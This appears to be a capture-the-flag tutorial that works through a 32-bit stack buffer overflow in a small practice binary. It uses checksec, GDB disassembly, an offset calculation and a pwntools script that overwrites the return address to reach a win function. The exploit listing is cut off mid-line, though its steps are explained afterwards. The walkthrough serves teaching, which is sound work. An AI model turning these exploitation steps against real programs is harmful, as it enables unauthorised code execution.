Try a 32-bit overflow! This is the same as a 64-bit, but the numbers get packed using p32 instead of p64.
Stuck? Open one hint at a time before reading the solution.
checksec first. This one is 32-bit: is anything protecting the stack?read() calls again. In 32-bit, arguments are pushed right to left: compare each buffer's size with the count read() allows.ebp+4.p32), not as text.Same challenge, different architecture.
Let's make the first security check using checksec.
checksec chall[*] './chall' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: NoThe first and probably most important thing is that this is a 32-bit binary. This means that when we pass parameters, we will pass them on the stack. The top of the stack, when call is reached, is the first parameter, the second from the top is the second parameter, etc.
We see that all protections are disabled. The most important check for the buffer overflow is that the canary is disabled.
Let's do our analysis in GDB assuming that we don't have the source code (because, typically, we won't) and just use it to explain why things happen.
First, we check the functions available:
info functionsAll defined functions:Non-debugging symbols:0x08049000 _init0x08049030 __libc_start_main@plt0x08049040 read@plt0x08049050 puts@plt0x08049060 system@plt0x08049070 _start0x080490a0 _dl_relocate_static_pie0x080490b0 __x86.get_pc_thunk.bx0x080490c0 deregister_tm_clones0x08049100 register_tm_clones0x08049140 __do_global_dtors_aux0x08049170 frame_dummy0x08049176 win0x080491a1 login0x08049215 main0x08049255 __x86.get_pc_thunk.ax0x0804925c _finiThe three functions that we are interested in are win, login, and main. win logically appears to be the target, so let's figure out what happens there:
disas winDump of assembler code for function win: 0x08049176 <+0>: push ebp 0x08049177 <+1>: mov ebp,esp 0x08049179 <+3>: push ebx 0x0804917a <+4>: sub esp,0x4 0x0804917d <+7>: call 0x8049255 <__x86.get_pc_thunk.ax> 0x08049182 <+12>: add eax,0x2e72 0x08049187 <+17>: sub esp,0xc 0x0804918a <+20>: lea edx,[eax-0x1fec] 0x08049190 <+26>: push edx 0x08049191 <+27>: mov ebx,eax 0x08049193 <+29>: call 0x8049060 <system@plt> 0x08049198 <+34>: add esp,0x10 0x0804919b <+37>: nop 0x0804919c <+38>: mov ebx,DWORD PTR [ebp-0x4] 0x0804919f <+41>: leave 0x080491a0 <+42>: retEnd of assembler dump.win makes a call to system, which the man pages say takes a char* (string) argument. From the source, this takes the argument "cat flag.txt", meaning that it opens the flag file and prints us its contents.
strings on the binary to find the flag.Now, let's check main:
disas mainDump of assembler code for function main: 0x08049215 <+0>: lea ecx,[esp+0x4] 0x08049219 <+4>: and esp,0xfffffff0 0x0804921c <+7>: push DWORD PTR [ecx-0x4] 0x0804921f <+10>: push ebp 0x08049220 <+11>: mov ebp,esp 0x08049222 <+13>: push ebx 0x08049223 <+14>: push ecx 0x08049224 <+15>: call 0x80490b0 <__x86.get_pc_thunk.bx> 0x08049229 <+20>: add ebx,0x2dcb 0x0804922f <+26>: call 0x80491a1 <login> 0x08049234 <+31>: sub esp,0xc 0x08049237 <+34>: lea eax,[ebx-0x1f9a] 0x0804923d <+40>: push eax 0x0804923e <+41>: call 0x8049050 <puts@plt> 0x08049243 <+46>: add esp,0x10 0x08049246 <+49>: mov eax,0x0 0x0804924b <+54>: lea esp,[ebp-0x8] 0x0804924e <+57>: pop ecx 0x0804924f <+58>: pop ebx 0x08049250 <+59>: pop ebp 0x08049251 <+60>: lea esp,[ecx-0x4] 0x08049254 <+63>: retEnd of assembler dump.main just calls login and then returns. So let's go check login:
disas loginDump of assembler code for function login: 0x080491a1 <+0>: push ebp 0x080491a2 <+1>: mov ebp,esp 0x080491a4 <+3>: push ebx 0x080491a5 <+4>: sub esp,0x54 0x080491a8 <+7>: call 0x80490b0 <__x86.get_pc_thunk.bx> 0x080491ad <+12>: add ebx,0x2e47 0x080491b3 <+18>: sub esp,0xc 0x080491b6 <+21>: lea eax,[ebx-0x1fdf] 0x080491bc <+27>: push eax 0x080491bd <+28>: call 0x8049050 <puts@plt> 0x080491c2 <+33>: add esp,0x10 0x080491c5 <+36>: sub esp,0x4 0x080491c8 <+39>: push 0x46 0x080491ca <+41>: lea eax,[ebp-0x30] 0x080491cd <+44>: push eax 0x080491ce <+45>: push 0x0 0x080491d0 <+47>: call 0x8049040 <read@plt> 0x080491d5 <+52>: add esp,0x10 0x080491d8 <+55>: sub esp,0xc 0x080491db <+58>: lea eax,[ebx-0x1fc2] 0x080491e1 <+64>: push eax 0x080491e2 <+65>: call 0x8049050 <puts@plt> 0x080491e7 <+70>: add esp,0x10 0x080491ea <+73>: sub esp,0x4 0x080491ed <+76>: push 0x46 0x080491ef <+78>: lea eax,[ebp-0x58] 0x080491f2 <+81>: push eaxThere are two read() calls here. In 32-bit, parameters are pushed onto the stack right-to-left, so each read() is set up by three pushes. Looking at the first one:
push 0x46 — the count: read() will accept up to 0x46 (70) bytes.lea eax,[ebp-0x30] then push eax — the buffer: it writes starting at [ebp-0x30], a username buffer only 0x30 (48) bytes deep.push 0x0 — the file descriptor (stdin).read() is offered 0x30 bytes of space but allows 0x46 bytes of input. This is a buffer overflow vulnerability! The second read() fills a password buffer at [ebp-0x58], further from the return pointer, so the username read is the one we'll overflow.
When a function is called, the following happens:
call instruction.push ebp
mov ebp, esp
push ebx
sub esp, 0x54When the function returns:
leave is shorthand for mov esp, ebp ; pop ebp. This returns the base and stack pointers to their values before the prologue, resetting the stack frame to the caller's.How do we leverage this?
Let's set a breakpoint right before the first read() and inspect the stack:
b *(login+47)Breakpoint 1 at 0x80491d0run[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Please enter your username:Breakpoint 1, 0x080491d0 in login ()x/3wx $esp0xffffd5c0: 0x00000000 0xffffd5f8 0x00000046x/wx $ebp+40xffffd62c: 0x08049234p/d ($ebp+4) - $eax$1 = 52x/3wx $esp (or pxw @ esp in radare2) shows the three values on top of the stack — the arguments to read(): the file descriptor 0, the buffer 0xffffd5f8, and the count 0x46. The buffer is where our input lands.
The return pointer lives at $ebp+4; it holds 0x08049234, which is the instruction right after main's call login. The distance from the buffer ($eax) to the return pointer is 52 bytes. That's our padding.
But where do we want to go? The win function, at 0x08049176. A first instinct might be to tack the address onto the padding as text:
python3 -c "print('A' * 52 + str(0x08049176))"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA134517110Feeding that in crashes the program. Let's watch it in GDB:
run < naiveinProgram received signal SIGSEGV, Segmentation fault.0x35343331 in ?? ()x/wx $eip0x35343331: Cannot access memory at address 0x35343331It stopped at 0x35343331, and we clearly control execution — but that's not win. Two things went wrong:
0x35343331 is the little-endian reading of the ASCII bytes "1345" — the start of the decimal string 134517110 we appended. The binary is little-endian, so our text got loaded as an address byte-for-byte.134517110 is the decimal of 0x08049176. We need the raw bytes of the address, not its digits.How do we get the address into the payload as bytes, in the right order?
This is where pwntools comes in. Its packing function p32 converts an address into a 32-bit little-endian byte string. Consider the following exploit:
1from pwn import *
2
3p = process("./chall")
4
5payload = b"A" *Let's break this exploit down:
from pwn import * — imports the pwntools library, just like an #include in C-type languages.p = process("./chall") — creates a process object that runs the chall binary.payload = b"A" * 52 — 52 bytes of A for the padding. Any character works, but A (0x41) is a common choice.payload += p32(0x08049176) — packs 0x08049176 (the address of win) as a 32-bit little-endian byte string, appended to our padding.p.sendline(payload) — sends the payload to the first (username) read.p.sendline(b"") — feeds the second (password) read, which we don't need.p.interactive() — lets us interact with the process after sending the payload.Let's run this exploit:
python3 exploit.py[+] Starting local process './chall': pid 28721[*] Switching to interactive modePlease enter your username:Please enter your password:Thank You!IFC{PL4C3H0LD3R_FL4G_H3R3!}[*] Process './chall' stopped with exit code 0[*] Got EOF while reading in interactiveWe have our flag!